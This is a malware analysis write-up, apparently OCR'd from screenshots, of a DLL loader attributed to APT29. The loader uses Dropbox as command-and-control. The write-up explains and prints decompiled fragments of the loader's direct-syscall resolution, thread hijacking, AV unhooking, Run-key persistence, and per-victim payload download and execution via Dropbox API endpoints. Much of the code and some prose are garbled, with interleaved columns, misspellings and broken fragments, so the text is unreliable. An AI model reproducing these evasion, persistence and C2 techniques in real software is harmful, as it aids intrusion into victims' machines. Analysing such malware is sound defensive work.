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Static Code Analysis — “AcroSup64.dil”

Upon library loading “AcroSup64.dll”, the first function (functions “DIIEntryPoint” and “dllmain_dispatch” are
not important in this case) which is performing the intended malicious behavior and gets automatically executed is
“DIIMain”.

Right in start of function “DIlIMain”, we can see that first anti-analysis check is performed. Code is checking if
main process module filename is “NV.exe” same as the delivered original filename of program responsible for

loading “AcroSup64.dll”. Be aware that through whole this analysis - all code is already annotated and retyped in

IDA IDB and functions are renamed according to their capabilities.

tProcess, ImageFileName, @x104u) )
if ( strstr(Im: anti-analysis check main module name
i
{

ModuTeH.

ObjectWithMultipleInheri:

[e] - o

5u, @i64, 9ied, @i6d, @

ew thread in suspended state not yet fully initiated

rameter for RtlUserThreac t -> thread entry point is in RCX

1
I
return 1;

We can also see the first thread execution hijacking which is processed via calling directly “NtCreateThreadEx”
syscall. New thread is created in suspended state with flags set also to hide from debugger. Decoy start routine
“RtlNewSecurityObjectWithMultipleInheritance” of newly created thread is replaced with setting the thread
context of this thread — specifically via setting RCX register (NOT RIP as this new suspended thread is not
initiated yet) pointing to code where the execution will be directed. This serves well as AV evasion and anti-debug
technique. RCX is the first argument to function “RtlUserThreadStart” (thread start location) and this argument

sets new thread entry routine different than the decoy one.
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The “NtCreateThreadEx” syscall is dynamically resolved and gets executed directly via “syscall” assembly

instruction where desired syscall number is set in RAX register, as we can see in the picture below:

Jresult] )

return result;

// NtCreateThreadEx = @

not defeat it as it

mov
mov

mowv

mov

sub

mov
call
add

mov

mov

mov

mov

mov
syscall
retn

Resolving of syscalls is done via function “resolve_and_hash_all_syscalls” only once, on first execution.
“resolve_and_hash_all_syscalls” function is hashing syscall names and populates it to table named as
“hashed_syscalls_table”. This table later serves as lookup table to find specific syscall number for routine.

Function “resolve_and_hash_all_syscalls”:
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tions];
aneOrdinals];

)NtCurrentPeb()->Ldr->InLoadOrderModulelist.Flink; number_c
table_entry->D11Base; current
if (%(

[*(C )dl1_base + @xF) +
~t_directory )

_names[4 * number_of_names]];

)&e
|

)(C
)&d11_base[d11name]

)V17 + _RORA_(func_name_hash, 8)
ane[v15];

5= )1d ._entry->InLoadOrderLinks .Flink
1dr_data_table_entry->D11Base

of_functions[4 * *(

)number_of_names );

_count[@] - vi1;

V17 = &d11 ¢ = )&address_of_names[4 * number_of_names]];
do

Whenever we see this kind of advanced technique (dynamic resolving of syscall via syscall name hashing and
creating “hashed_syscalls_table” which serves as lookup table + direct syscall call via stub code similar like in
ntdll.dll) we should do a little OSINT if this technique is based on some already published one.

In this case, our assumption was correct and this technique is based on “SysWhispers2” published on Github

[GITHUB - SysWhispers2]. C2-Client Dropbox Loader was reusing most of the original code from

“SysWhispers2” also the syscall name hashing algorithm so with this information we can take some structures and

implement it in IDA to get better understanding of this code like in pictures below:

Using “hashed_syscalls_table” as lookup table for desired syscall hash to retrieve its syscall number:

Pseudocode-A

] C @

5 [/ eax

Jresolve_and_hash_all_: 03 EXTERN_C
BxFFFFFFEF; {
result

i (I

Hashing syscall names and populating + reordering the “hashed_syscalls_table”:
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) SysWhispers2/basecat main-j X+

number_of names = ( ) (number_of names - 1); C @ O 8 n github.com/jtht
current_func_name = &d11_base[*( )&address_of_names[4 * number_of_names]];
if (*( )current_func_name == ‘wZ' )// we are looking for soem func starting Zw do

=% {
vi5'='e;
func_name_hash = 0x1A33AD97; // initial SEED PCHAR FunctionName = SW2_RVA2VA(PCHAR, D11Base, Names|[NumberOfNames - 1]);
if (*current_func_name )

partisl name = &11 base[*( )&address_of nanes[4 * number_of nanes]]; s this a s
do if (*(USHORT*)FunctionName == "wZ')

++v15; t . ., .
temp = *( )partial_name + _ ROR4__(Func_name_hash, 8);// syscall hashing Entries[i].Hash HashSyscall (FunctionName);

partial_name - &current_func_name[vi5]; @FTES[1]. Address = Functions[Ordinals[NumberOfNames - 1]];
func_name_hash *= tenp;

while ( *partial_name ); i
i (4 2_MAX_ENTRIES) break;

V19 = Counter;
V19 *= 2i64; }
hashed_syscall table.Entries[vi9].hash = func_name_hash; } while (--NumberOfNames);
hashed_syscall table.Entries[v19 + 1].address = *( )&Address_of functions[4 * *(
*( )&hashed_syscall_table.Entries[v19 + 1].hash = @i64;
if ( Count == 500 )

break;

¥

while ( ( )number_of names );

v20 = o;

hashed_syscall_table.Count = Count; // /7 Save total number of system calls found.

if ( Count 1= 1

{ (DWORD j = 0; j < SW2_Syscalllist.Count - i - 1; j++)
do // 1/ Sort the list by address in ascending order.

{

(i =0; i < SW2_Syscalllist.Count - 1; it+)

Va1 - e; if (Entries[j].Address > Entries[j + 1].Address)
if ( Count - v20 1= 1)
1

do S g
{ W2_SYSCALL_ENTRY TempEntry;
v22 = w21 + 15
address = hashed_syscall_table.Entries[2 * v21 + 1].address;
if ( address > hashed_syscall_table.Entries[2 * v21 + 3].address ) TempEntry.Hash = Entries[j].Hash;
{ // 1/ Swap entries.
hash = hashed_syscall_table.Entries[2 * v21].hash;
hash_1 = *( )&hashed_syscall_table.Entries[2 * v21 + 1]

TempEntry.Address = Entries[].Address;

The main point of this kind of retrieving syscall numbers for routines is based on the fact that syscall numbers are

in ascending order strictly connected to order of syscall’s virtual addresses “Zw*” inside of ntdll.dll — meaning
that lowest virtual address of syscall = lowest number of syscall (highest virtual address of syscall = highest

number of syscall). We can confirm this fact/idea with simple [python script] + ntdll.dll in IDA:

) file Edit Selection View Go Run Terminal Help Resolve_syscall_numbers via_VA_ntdllpy - test - Visual Studio Code

. text: 00000001 8009E520 public NtCreateThreadEx

. text:000000018009E520 NtlreateThreadEx proc near Resolve_syscall_numbers_via VA ntdll.py X

 text: 00B00B18009ES20

 text: 000000Q18009E520 nov b Resolve_syscall_numbers._via VA_ntdllpy >

 text: 00900BB180B9ES23 nov ,6Cih

 text: 00000BO1800IES2S test  byte ptr dSSEFEG368h, 1 ) )

. text: 009000018009ES30 nz short loc_18009E535 import lief

. text: 000000018009E532 syscall
00000001 8009E534 résn SyS(BllS — {}
00000001 8009E535
$000000018009E535 ntdll = lief.parse( \n
:00000001800IE535 loc_18BAIE535: for export in ntdll.exported functions:
s e if export.name.startswith("zu"):
0000001800955 retn Syscalls[export.name] = (export.address + ntdll.optional_header.imagebase)
:000000018009ES37 NtCreateThreadEx endp
+ 60800001 8009ES37

e sorted _syscalls = sorted(Syscalls.items(), key= xi x[1], reverse=
align 20h
000000018089ES4@ ; Exported entry 315. NtCreateTimer
;gggggzgigggg:zg 3 Exported entry 1898. ZuCreateTimer print(“[Syscakl Name]:",syscall[e],” [Syscall VA]:",hex(syscall[1]),” [Syscall Number]:",hex(i))
+008000018089E 540
:008000018089E540
:008000018089E540 LEMSN_ O TERMINAL
: 00000001 8089E540 public ZwCreateTimer -
;ZZZZZZZ%?ZZZ:Z}Z PR (R I Syscall Name]: ZwCreateProcess [Syscall VA]:-9x18009e420  [Syscall Number]: @xbo
: 00000001 8009E540 b Syscall Name]: ZwCrésteProfile [Syscall VA]: 0x12909e449  [Syscall Number]: &xba
:000000018009E543 Syscall Name]: ZwCreatePrafileEx  [Syscall VA]: x18689e460  [Syscall Number]: @xbb
: 00000001 8009E548 byte ptr ds:7FFE@308h, 1 Syscall Name]: ZwCreateRegiStryTransaction [Syscall VA]:-2x18009e480  [Syscall Number]: @xbc
:000000018009E550 short loc_18009E555 Syscall Name]: ZwCreateResourceManager [Syscall VA]: 0x1808%e4a@ [Syscall Number]: oxbd
+600000018009E552 Syscall Name]: ZwCreateSectionEx [Swscall VA]: 0x18009e4c®  [Syscall Number]: oxbe
Zggggzgggg;g;‘; Syscall Name]: ZwCreateSemaphore  [Systall VA]: 0x180@9eded  [Syscalb.Number]: oxbf
R rosose i Syscall Name]: ZwCreateSymboliclLinkObject ““[Syscall VA]: 0x18009e500  [Syscall Number]: oxce
+600000018009E555 1oc_ 18009ESSS: Syscall Name]: ZwCreateThreadEx  [Syscall VA|: 0x18009¢520  [Syscall Number . oxcl
£ 0000000180B9E 555 e Syscall Name]: ZwCreateTimer  [Syscall VA]: 0x18009e540  [Syscall Number]: @xc2
:0000000180BIESSS Syscall Name]: ZwCreateTimer2 [Syscall VA]: 0x18089e560 [Syscall Number]: @xc3
:000000018089ESS7 retn Syscall Name]: ZwCreateToken [Syscall VA]: 0x18009e580  [Syscall Number]: @xc4
:000000018089ESS7 ZwCreateTimer  endp Syscall Name]: ZwCreateTokenEx  [Syscall VA]: 0x18009e5a@  [Syscall Number]: &xc5
:000000018009E557 Syscall Name]: ZwCreateTransaction [Syscall VA]: ©x18009e5c6  [Syscall Number]: oxc6
000000018009 557 Syscall Name]: ZwCreateTransactionManager [Syscall VA]: ©x18009e5e0  [Syscall Number]: @xc7?
alen 18009E558: Syscall Name]: ZwCreateUserProcess [Syscall VA]: @x18060e680 [Syscall Number]: @xc8
e Sy Em)fiig? O sterinerd 0 Syscall Name]: ZwCreateWaitCompletionPacket [Syscall VA]: @x18009e620 [Syscall Number]: @xco

: 60000018009E560 ; Exported entry 1899. ZwCreateTimer2 ROA0 £ Ln 14, Col 52 Spaces: 4 UTF-

for i, syscall_in enumerate(sorted_syscalls):

Now when we have knowledge how this technique works, we can focus on syscall name hashing algorithm which

after annotating and retyping looks similar like below:

current_func_name = &d11_base[*( )8address_of_names[4 * number_of_names]];
IF (% Jcurrent_func_name == 'wZ' )// we are looking for soem func starting Zw
{

vi5 = 8;

func_name_hash = @x1A33AD97; // initial SEED

if ( *current_func_name )

partial name = &d11 base[*( )&address_of names[4 * number_of names]];
do

{

(FunctionName[i])

++v15; JORD PartialName = *(WORD*)( (U!
temp = *( )partial name + _ RORA_ (func_name hash, 8);// syscall hashing sh ~= Partialliame + S
partial name = &urrent func_name[v15];

func_name_hash “= temp;

while ( *partial name );
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This hashing routine we can easily reproduce in [IDA Python script] and create ENUM for all Syscall hashes:

% Execute script

onized with Pseudocode-A)

So whenever we see hashed syscall name, we can apply newly created ENUM and after we find out the correct

invoked routine, we can retype whole function.

< B enums

Name

7150
110100
000e

& Choose enum
reateThreadex+1

nually flags * THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER

We can get back to the first thread execution hijacking - “Pre_C2client_MAIN_redirect_exec” is the function
where thread execution hijacking directs to. This function can be seen in the picture below. Function is trying to
find “NV.exe” module name in memory and if found, another thread execution hijacking occurs. This time it
hijacks already existing thread (no new thread created) and because of that, code can just set RIP register of thread
context. Newly set RIP register is pointing to function named “C2_Client_ MAIN” where all the main malicious

C2 activity is implemented.
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current_module_handle = ( YhModule[v3];
K32GetModuleBaseNameA(CurrentProcess, current_module_handle, BaseName, @x806u);
= 9i64;

do
{

v7 = BaseName[v6++];

if ( w7 != SubStr[v6 - 1] )// find NV.exe modulename

goto LABEL_7;

while ( v != 7 );
K32GetModuleInformation(CurrentProcess, current_module_handle, &modinfo, ©x18u);

+v3;

}
while ( v3 < vd );

Thread32First(Toolhelp32Snapshot, &te);
result = Thread32Next(Toolhelp32Snapshot, &te);
if ( lresult )
return result;
do

if ( te.th320wnerProcessID == GetCurrentProcessId() )
{
ModuleHandleW = GetModuleHandleW(L" 'J 11.d11");
MOuarcyTnfarmationThread = ( A( ) ) . . ))GetProcAddress (ModuleHandlel, "1 nformationThre
v1® = OpenThread(©x2600000u, @, te.thiZThrﬂeadID); 2
NtQueryInformationThread(v1®, ThreadQuerySetWin32StartAddress, &ThreadInformation, 8u, ©i64);
if ( ThreadInformation >= modinfo.lpBase0fD11l && ThreadInformation <= ( Jmodinfo.lpBase0fD11l + modinfo.SizeOfImage )
{ // check if thread start adress in range of nv.exe
vl1 = SuspendThread(v10);
Sleep(@x7DAu);
iF (vil 1= 1)
{
Context.ContextFlags = CONTEXT_FULL;
if ( !GetThreadContext(vle, &Context) )
return 4;
Context.Rip = ( )C2_Client_MAIN;// thread execution hijacking 2 -> redirection to C2_Client_MAIN
i ( IsetThreadContext(v1@, &Context) )// hijacking via context RIP register-> already existing initiated thread so OK
return 8;
ResumeThread(v10);

}

3
result = Thread32Next(Toolhelp32Snapshot, &te);

Start of function “C2_Client_ MAIN” can be seen in the picture below. First what this function is doing, is calling

function “Map_dll_restore_text_section”. After this, C2_client tries to authenticate itself to Dropbox service and if

authentication is successful (there is unintentional exception — see below “http_dropbox_authenticate” functio

analysis), it sets persistence and continue with Dropbox communication otherwise it waits 5.5 minutes and try to

authenticate itself again. All is performed in endless loo

Map_d11_restore_text_section(); 9 // AV evasion, antidebug, antihooking - deletes breakpoints in memory, remove inline hooking
while (1) // in loop C2 communication using dropbox as middleman

http_authenticate response = http_dropbox_authenticate();// authenticate C2 _client with dropbox token get response token
nSize(W] = MAX_PATH;
memset(Username, 8, Bx104uifd);
GetUserNameExA(NameSamCompatible, Username, ( )nSize);
md5_ctx.size = @i64d;
username_length = -1i64;
md5_ctx.buffer[@] = 8x67452301; // MD5 state constants
md5_ctx.buffer[1] = @xEFCDAB89; // md5_init
md5_ctx.buffer[2] = @x38BADCFE; // src code: https://github.com/Zunawe/md5-c/blob/main/md5.c
md5_ctx.buffer[3] = 8x18325476;
do
++username_length;
while ( Username[username_length] );
md5_update (&nd5_ctx, ( JUsername, username_length);// calc md5 of username - NameSamCompatible
md5_finalize(&md5_ctx);
md5_digest = ( )j__malloc_base(@x10ui6d);
*( ymd5_digest = *( ymd5_ctx.digest;// md5 of username - NameSamCompatible ex. (DESKTOP-ROACATI\Inferno)
md5_username_hexstring = operator new(@x184uibd);
memset(md5_username_hexstring, @, ©x104ui6d);// md5S username hexstring is used for decryption of downloaded payload
- 16i64;
do // convert bytes to hexstring
{
LODWORD(v32) = *md5_digest;
sprintf(( )md5_username_hexstring, ( Jexied, "% ", md5_username_hexstring,
++md5_digest;
--vd;

I3
while ((v4 );
if ( http_authenticate_response ) // only if client-dropbox authentication OK
1
set_persistance(); /! set persistence + show blank.pdf
sprintf2(http_authenticate_response_string, "sl%s", http_authenticate_response);
buffer_lengthl[@] = MAX_PATH;
memset (computername_username, 8, 0x104uibd);
memset(username, @, 8x104uisd);
GetUserNameExA(NameSamCompatible, username, buffer_lengthl);// getting username again ex. (DESKTOP-ROACATI\Inferno)
GetEumputEr'llamaExA(Cumputer‘NameDnsFullyQuallhed, computername_username, buffer_lengthl);// getting computername if no domain -> ex. (DESKTOP-ROAC4IJ)
sprintf2(computername_username, "% s", computername_username, username);// create computername::username string ex. (DESKTOP-ROAC4I]::DESKTOP-ROACAII\Inferno)
buffer = operator new(8x184uiéd);
memset(buffer, B, Ox184uifd);
if ( buffer )
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“Map_dll_restore_text_section” function serves well as AV evasion, anti-debug and anti-hooking technique as this
function is searching for all already loaded modules (WININET.dIl is the last one if found), finding them on disc,
manually maps their “.text” (code) section into memory and replace with it the one “.text” section in
corresponding library already loaded in memory. With this, malware destroys all installed inline hooks of AV and

set breakpoints of debugger if any. So the AV solution will be blind from the user-space (ring 3) perspective.

We can see function “Map_dll_restore_text_section” in the picture below:

JNT_header + 4@ * i + NT_header->FileHeader.Size0OfOptionalHeade!

name = vI 1 24]; 1 ima 1F0 > 5 ion name
tion_|

one -> will delete breakpoints,hocks

reak after p ininnet.dll (3

Back to the main function “C2_Client_ MAIN”, “http_dropbox_authenticate” function is responsible for decoding
strings related to authenticate the C2_Client on Dropbox service. It uses hardcoded token for authentication and if
the token is still valid (not expired/revoked) it will receive another temporary token for further communication

with Dropbox.

One probably unintentional bug_in code (function “http_dropbox_authenticate) there is possibility that code will
try to set persistence and continue in further communication (with wrong string content interpreting as bearer
access token) even if authentication is not successful. This is caused by obtaining authentication response

fulfilling certain format condition as explained in the picture below:
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Example Successful Authentication - bearer token taken "abcd123defg”
{

ontent.write files.metadata.read”,

WGRopQngc”

dullunberOfBytesRead) ;
12 - ex. token expiration (misinterpreting string “tag” as bearer token)l

-> return response content

Decoded strings of function “http_dropbox_authenticate” can be seen in the picture below and contains
information like HTTP User-Agent, HTTP Host name (api.dropbox.com), URL path, Basic authorization HTTP

header and mainly the Token itself.

We can also see that before the code reach the part of setting persistence (after authentication) it obtains current

logged-in username (in NameSamCompatible format) calculates MD5 hash of it and converts it to hexstring. This
hexadecimal string of Username MD5 is very important because it is later used to decrypt downloaded payload

from Dropbox before execution.
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ore_text_section(); ion,

in loop C2
http_authenti

te_response = http_dropbox authenticate(

ne_length;
le ( Username[

 lengthl[@ (_ PATH;
omputername_username, 8, 8x184u
8, Ox104ui6d)
tible, username, buffer
ameDnsFully ified,
ame, " computer

memset

lient with dropbox token

md5 of use

ge

4II\Inferno)

ad

md5_username_hexstring

4L
ompu

According to usage of Username MD5 hexstring which is used for downloaded payload decryption, we can

assume how C2 Dropbox server (serving payload to Dropbox) operates “per-victim” and is using infected

currently logged-in Username MD5 hexstring for “per-victim” payload encryption. The expected functionality of

infrastructure according to C2 Dropbox client code is in the picture below:

Dropbox authentication
https://api dropbox.comfoauth2/token’

Uploading file fo register Client. Content contains
encrypted ComputerMame::Usemame and encryplion key|

. : "hitps:/icontent. dropboxapi.com/2/files/upload
:
_ Downloading file content fo execute. Content
C2 Client Dropboxy decrypted by Victim Usemame MD5 Hash
"hitps-/icontent dropboxapi. com/2/files/download"”

Dropbox

robably scanning in interval to check new client
new client = new uploaded file created

A

Uploading file - overwriting downloaded file
“hitps:/icontent.dropboxapi.com/2/files/upload

Y

< »
< »
A‘A\,
Rock_ComputerizmelisemamsMD3Hazh.ma3 |Processing uploaded file - register new client] Wil
< >
- - — ez i phox|
iock_ComputerNamelsernameMDSHash mp3.backu Uploading 1_"3_ per-viclim” content Server Drophe
encrypted by Victim username MD5 Hash
<
<

iock_ComputerNamelsernameMDSHash mp3.backu

C2 Server Dropbox knows
payload executed

Y

Function “set_persistance” is spawning new process to open “blank.pdf” file. After that it starts to copy files
“NV.exe”, “AcroSup64.dll” and “vcruntime140.dl1” into the
“%USERPROFILE%\AppData\Roaming\AdobeAcroSup” directory and sets persistence via ordinary auto-start

location for current user “run” registry

“HKEY_CURRENT USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” with value name “Adobe
AcroSup” and value data pointing to “%USERPROFILE%\AppData\Roaming\ AdobeAcroSup\NV.exe”.
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GetModuleFilel (phModule, Filename, @x104u);
result )

result - CopyFileA(Filename, PathName, 0);
if ( result )
{

8 5 - strrchr(Filename, 92);
DL_APPDATA, @164, @, appdata_path);

strnlen(v25, 0x104ui6d);

(Filename, , Filename,
strrchr(Pathhlane,

v28, 0x104ui6d);

Pathhame,
ileA(Filenane, Pathliame,

roSup*

FileName) ;
sizeof (ProcessInformation)); ; operator ne
zeof (StartupInfo)) ; s, o,
CommandLine, @i64, 0364, @, 0, 064, 0i64, &StartupInfo, &Pr

¥
menset(Pathlane, 0, Ox104u
thilame, "

? &phkResult) ;
s", Pathlame, v28);
i1eA(Filename, Pathiame, €);

{ e e i ( 1, @, 1u, ( )PathName, 2
v21 = v20 ? strlen(v20, @x104ui64) : Ol . et hkResult) ;
. oo o

Function “C2_Client_MAIN” continue execution and after “set_persistance” function it gets currently logged-in
Username and Computername and creates string from it in format “Computername::Username”. In next step, this
string is xored with hardcoded value “ME3.99.5UUUUUUUUUUUUUUUUUUUUUUUUUUUU” (which looks
very similar to original LAME MP3 encoder header) as in the picture below.

( http_authenticate response )

set_persistance(); /
sprintf2(http_authenticate_response_st
buffer_length1[8] = MAX_PATH;

memset (computername_us:

mpatible, username, buffe
\(ComputerNameDnsFullyQualified,

memset(buffer, @,
if ( buffer )

q

{

bufferl = buffer;
comput

ffe =] )comput
buffer_length = strnlen((
buffer_length2 = buffer_length;
*( Jbuffer_lengthl = fer_length;

*arrno()

] meter_noinfo();
buffer_length? = 8;
=( )buffer_lengthl =

)&xmmuword

In next step, it calculates MD5 hash from string “Computername::Username”, converts it to hexstring format and
uses it to create filename for uploading to Dropbox “Rock_ComputerNameUsernameMD5HashHexstring. mp3” —

registering Client to C2 Dropbox Server (ex. “Rock_70ale27ba30dd415155e68409d512a2d.mp3™).
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ntent_len = buffer_length2 + 57;
fer_length2 + 57);

putername_username_len] );
ame_userhame, computername_username_len) € md5 computername:

Jexieq, ™ computername_username_hash_hexstring, v

ntent, upl - buff b 2 1[e
e_response_s , upload_content, upload_content_len, ( ¥ p - no response needed

Next function “pre_process_body_add_mp3header_xorkey” is preparing body content of
“Rock_ComputerNameUsernameMD5HashHexstring.mp3” to upload. The body content contains xored
“Computername::Username”, xor key “ME3.99.5UUUUUUUUUUUUUUUUUUUUUUUUUUUU” and to avoid
detection - fictive MP3 header is added to the start of body content. The example structure of this body content is

in the picture below:

Name Value Start

49 44 33 0400 00 00 DDSS 45 00 00 uchar Fictive MP3 Header[20] Oh
00 OF 00 00 E uchar Xored "Computername:Username”[40] 14h

uchar XOR KEY[36] 3Ch
4D 45 33 2E ME3.
55 55 55 55§99, 5UUUUUUUULULLY
55 55 55 5555 55 55 55|55 55 55 55|55 55 55 55 uuuuuuuuuuuuuuuu
00 .

This body is uploaded by function “http_dropbox_upload”:

Decoded strings from function “http_dropbox_upload” (ex. HTTP User-Agent, HTTP Host

“content.dropboxapi.com”, URL Path “/2/files/upload”) can be seen in the picture below:

The next step is preparing filename to download from Dropbox. This file is uploaded to Dropbox by C2 Dropbox

Server. Filename to download is in format “Rock_ComputerNameUsernameMD5HashHexstring.mp3.backup”
(ex. “Rock_70ale27ba30dd415155e68409d512a2d.mp3.backup”) so the same as filename which was uploaded by
Client but with “.backup” added.
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th for upload -
)computername_username |
ntent, uplo ntent_len, buffer, buf
e_response_string, up ontent, upload_

nd_upload |
memset(second_uplo,

ntent = xmmwo

Function responsible for downloading payload with filename
“Rock_ComputerNameUsernameMD5HashHexstring.mp3.backup” is “http_dropbox_download”. Decoded
strings of function “http_dropbox_download” (ex. HTTP User-Agent, HTTP Host “content.dropboxapi.com”,
URL Path “/2/files/download”) can be seen in the picture below:

Function responsible for processing downloaded payload is “process_exec_downloaded_payload”. Before
stepping into this function we can see some first structure checks of obtained payload which will later help to

recreate example structure of delivered payload.

httn_dronhox downlead resnonse httn_dronhox download(( Yhttn authenticate resnonse strine. Rock HASH mn3 hackun. huffer leneth1):
if ( *http_dropbox_download_re e dow 5 && http_dropbox_download_resp 3] 1= 15 p_dropbox_download response[24] != 15 )
{

Function “process_exec_downloaded_payload” is responsible for processing downloaded payload, decrypting it
with xor key “Username MD5 hash hexstring” (ex. "70c29c906cfa19759fa4776ea7c0973e") and creating new

thread to execute it.

me_hexstr:
PTED_PAYLOAD_CODE_ENCRYPTED_P)

de_length )

username_hexstri

0 -1));

* downloaded

cess, RtlNewSecurityObjecthithMultipleInheritance, @i

First what we can see is xor decryption of downloaded payload which avoids processing first 21 bytes and last 36

bytes. Xoring starts with 22. byte of downloaded content and ends (content_length -57 +21). According to this, we
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can assume example of the downloaded payload format (“X” — unknown, “PAYLOAD_CODE_ENCRYPTED” —

encrypted code with unknown length which will be later executed) as in the picture below:

Name Value Start Size Color
uchar PAYLOAD_CODE_ENCRYPTED(68] 15h 44n o[ |Bal_

58 58 58 58 58 58 58 58 58
8

58 58 58 58 58
58 58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
58 58 58 58 58 58 | XXKXCOXRXK

In next step, this function is allocating enough executable memory for decrypted code. After this, syscalls
“NtWriteVirtualMemory” and “NtCreateThreadEx” are resolved in similar manner as syscalls before via
“resolve_syscall” function using already created table named “hashed_syscalls_table”. This table is used as

lookup table to find specific syscall number for routine.

e(HEAP_CREATE_ENABLE_EXECUTE, ( * downloade yload_lenl), ( J(4 * downloade: 3 d lenl));

dle_heap, HEAP_ZERO_MEMORY, (

not yet fully initiated

Syscall “NtWriteVirtualMemory” is used to to write decrypted code to newly allocated executable memory.
Syscall “NtCreateThreadEx” is used to create new thread in suspended state with flags set also to hide from

debugger.

Decoy start routine “RtlNewSecurityObjectWithMultipleInheritance” of newly created thread is replaced with
setting the thread context of this thread — specifically via setting RCX register (NOT RIP as this new suspended
thread is not initiated yet) pointing to decrypted code, already written to executable memory. Again this
combination of directly called syscalls and thread execution hijacking serves as AV evasion and anti-debug
technique. RCX is the first argument to function “RtlUserThreadStart” (thread start location) and this argument

sets new thread entry routine (downloaded, decrypted code) different than the decoy.

After the downloaded and decrypted payload is executed in new thread, execution in current thread comes back to
the main function “C2_Client. MAIN”.

Another uploading to Dropbox is processed. This uploading is overwriting the same filename which was
downloaded “Rock_ComputerNameUsernameMD5HashHexstring.mp3.backup” (ex.
“Rock_70ale27ba30dd415155e68409d512a2d.mp3.backup™).
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- 15 & http_dropbox_download_response[23] != 15 & http_dropbox_download_response[24] != 15 )
format
lengthi[e], ( Jmd5_username_hexstriny d proc

5.5 minutes

This serves probably to confirm execution of downloaded code. The content for Dropbox uploading which will be
overwriting filename - “Rock_ComputerNameUsernameMD5HashHexstring.mp3.backup” is created again with
fictive MP3 header, padding and “ME3.99.5UUUUUUUUUUUUUUUUUUUUUUUUUUUU” string which was

previously used as xor key. Structure of this content can be seen in the picture bellow:

Name Value Start Size

49 44 33 04|00 00 00 00|00 23 54 53|53 45 00 00 jID3 . uchar fictive MP3 Headerl20) o 1
00 OF 00 00 OF OF OF OF |OF OF OF OF |OF OF OF OF . Eiaiiac ngliE] 120 2
OF OF OF OF ;

uchar Previously used as XOR key[36] 26h 24h

OF OF

00

All the main functionality of function “C2_Client_ MAIN” - (without function “Map_dll_restore_text_section” —

performed only once) is executed in endless loop when after each loop the execution sleeps for 5.5 minutes.

Source: https://github.com/Dump-GUY/Malware-analysis-and-Reverse-engineering/blob/main/APT29_C2-Client_Dropbox_ILoader/APT29-D

ropboxLoader_analysis.md
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